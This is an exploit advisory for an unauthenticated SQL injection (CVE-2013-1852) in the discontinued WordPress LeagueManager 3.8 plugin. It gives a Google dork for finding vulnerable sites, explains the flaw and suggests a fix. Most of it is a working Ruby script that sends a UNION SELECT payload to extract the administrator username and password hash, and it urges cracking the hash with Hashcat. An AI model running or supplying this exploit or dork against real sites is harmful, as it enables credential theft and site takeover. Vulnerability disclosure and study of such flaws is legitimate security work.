# Exploit Title: WordPress LeagueManager Plugin v3.8 SQL Injection
# Google Dork: inurl:"/wp-content/plugins/leaguemanager/"
# Date: 13/03/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://wordpress.org/extend/plugins/leaguemanager/
# Software Link: http://downloads.wordpress.org/plugin/leaguemanager.3.8.zip
# Version: 3.8
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2013-1852
#-----------------------------------------------------------------------------------------
#Description:
#
#An SQL Injection vulnerability exists in the league_id parameter of a function call made
#by the leaguemanager_export page. This request is processed within the leaguemanager.php:
#
#if ( isset($_POST['leaguemanager_export']))
# $lmLoader->adminPanel->export($_POST['league_id'], $_POST['mode']);
#
#Which does not sanitize of SQL injection, and is passed to the admin/admin.php page
#into the export( $league_id, $mode ) function which also does not sanitize for SQL injection
#when making this call: $this->league = $leaguemanager->getLeague($league_id);
#The information is then echoed to a CSV file that is then provided.
#
#Since no authentication is required when making a POST request to this page,
#i.e /wp-admin/admin.php?page=leaguemanager-export the request can be made with no established
#session.
#
#Fix:
#
#A possible fix for this would be to cast the league_id to an integer during any
#of the function calls. The following changes can be made in the leaguemanager.php file:
#$lmLoader->adminPanel->export((int)$_POST['league_id'], $_POST['mode']);
#
#These functions should also not be available to public requests, and thus session handling
#should also be checked prior to the requests being processed within the admin section.
#
#The responsible disclosure processes were distorted by the fact that the author no longer
#supports his well established plugin, and there are currently no maintainers. After
#e-mailing the folks over at plugins@wordpress.org they've decided to discontinue the plugin
#and not patch the vulnerability.
#
#The following ruby exploit will retrieve the administrator username and the salted
#password hash from a given site with the plugin installed:
#------------------------------------------------------------------------------------------
#Exploit:
require'net/http'
require'uri'
if ARGV.length ==2
post_params ={
'league_id'=>'7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,'\
'9,10,11,12,13,user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--',
'mode'=>'teams',
'leaguemanager_export'=>'Download+File'
}
target_url = ARGV[0]+ ARGV[1]+"/wp-admin/admin.php?page=leaguemanager-export"
begin
resp =Net::HTTP.post_form(URI.parse(target_url), post_params)
rescue
puts "Invalid URL..."
end
if resp.nil?
print_error "No response received..."
elsif resp.code !="200"
puts "Page doesn't exist!"
else
admin_login = resp.body.scan(/21\t(.*)\t2.*0\t(.*)\t15/)
if(admin_login.length >0)
puts "Username: #{admin_login[0][0]}"
puts "Hash: #{admin_login[0][1]}"
puts "\nNow go crack that with Hashcat :)"
else
puts "Username and hash not received. Maybe it's patched?"
end
end

puts "Usage: ruby LeagueManagerSQLI.rb \"http://example.com\" \"/wordpress\""
